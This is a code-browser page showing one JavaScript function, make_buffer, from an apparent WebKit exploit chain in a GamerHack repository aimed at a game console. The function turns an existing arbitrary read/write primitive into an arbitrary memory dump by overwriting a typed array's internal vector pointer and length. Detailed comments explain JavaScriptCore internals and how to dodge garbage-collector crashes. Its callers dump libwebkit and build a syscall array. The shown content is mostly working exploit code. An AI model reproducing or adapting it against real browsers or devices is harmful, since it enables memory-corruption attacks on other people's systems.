MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / make_buffer

Function make_buffer

g2all/700/module/memtools.js:30–83  ·  view source on GitHub ↗
(addr, size)

Source from the content-addressed store, hash-verified

28
29// creates an ArrayBuffer whose contents is copied from addr
30export function make_buffer(addr, size) {
31 // see enum TypedArrayMode from
32 // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h
33 // at webkitgtk 2.34.4
34 //
35 // see possiblySharedBuffer() from
36 // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
37 // at webkitgtk 2.34.4
38
39 // We will create an OversizeTypedArray via requesting an Uint8Array whose
40 // number of elements will be greater than fastSizeLimit (1000).
41 //
42 // We will not use a FastTypedArray since its m_vector is visited by the
43 // GC and we will temporarily change it. The GC expects addresses from the
44 // JS heap, and that heap has metadata that the GC uses. The GC will likely
45 // crash since valid metadata won't likely be found at arbitrary addresses.
46 //
47 // The FastTypedArray approach will have a small time frame where the GC
48 // can inspect the invalid m_vector field.
49 //
50 // Views created via "new TypedArray(x)" where "x" is a number will always
51 // have an m_mode < WastefulTypedArray.
52 const u = new Uint8Array(1001);
53 const u_addr = mem.addrof(u);
54
55 // we won't change the butterfly and m_mode so we won't save those
56 const old_addr = u_addr.read64(off.view_m_vector);
57 const old_size = u_addr.read32(off.view_m_length);
58
59 u_addr.write64(off.view_m_vector, addr);
60 u_addr.write32(off.view_m_length, size);
61
62 const copy = new Uint8Array(u.length);
63 copy.set(u);
64
65 // Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object
66 // associated with them, if we ask for view.buffer, the view will be
67 // converted into a WastefulTypedArray and an ArrayBuffer will be created.
68 // This is done by calling slowDownAndWasteMemory().
69 //
70 // We can't use slowDownAndWasteMemory() on u since that will create a
71 // JSC::ArrayBufferContents with its m_data pointing to addr. On the
72 // ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can
73 // cause a crash if the m_data is not from the fastMalloc heap, and even if
74 // it is, freeing abitrary addresses is dangerous as it may lead to a
75 // use-after-free.
76 const res = copy.buffer;
77
78 // restore
79 u_addr.write64(off.view_m_vector, old_addr);
80 u_addr.write32(off.view_m_length, old_size);
81
82 return res;
83}
84
85// these values came from analyzing dumps from CelesteBlue
86function check_magic_at(p, is_text) {

Callers 5

dumpFunction · 0.90
dump_libwebkitFunction · 0.90
dump_evalFunction · 0.90
dump_scrollLeftFunction · 0.90
init_syscall_arrayFunction · 0.70

Calls 6

addrofMethod · 0.45
read64Method · 0.45
read32Method · 0.45
write64Method · 0.45
write32Method · 0.45
setMethod · 0.45

Tested by

no test coverage detected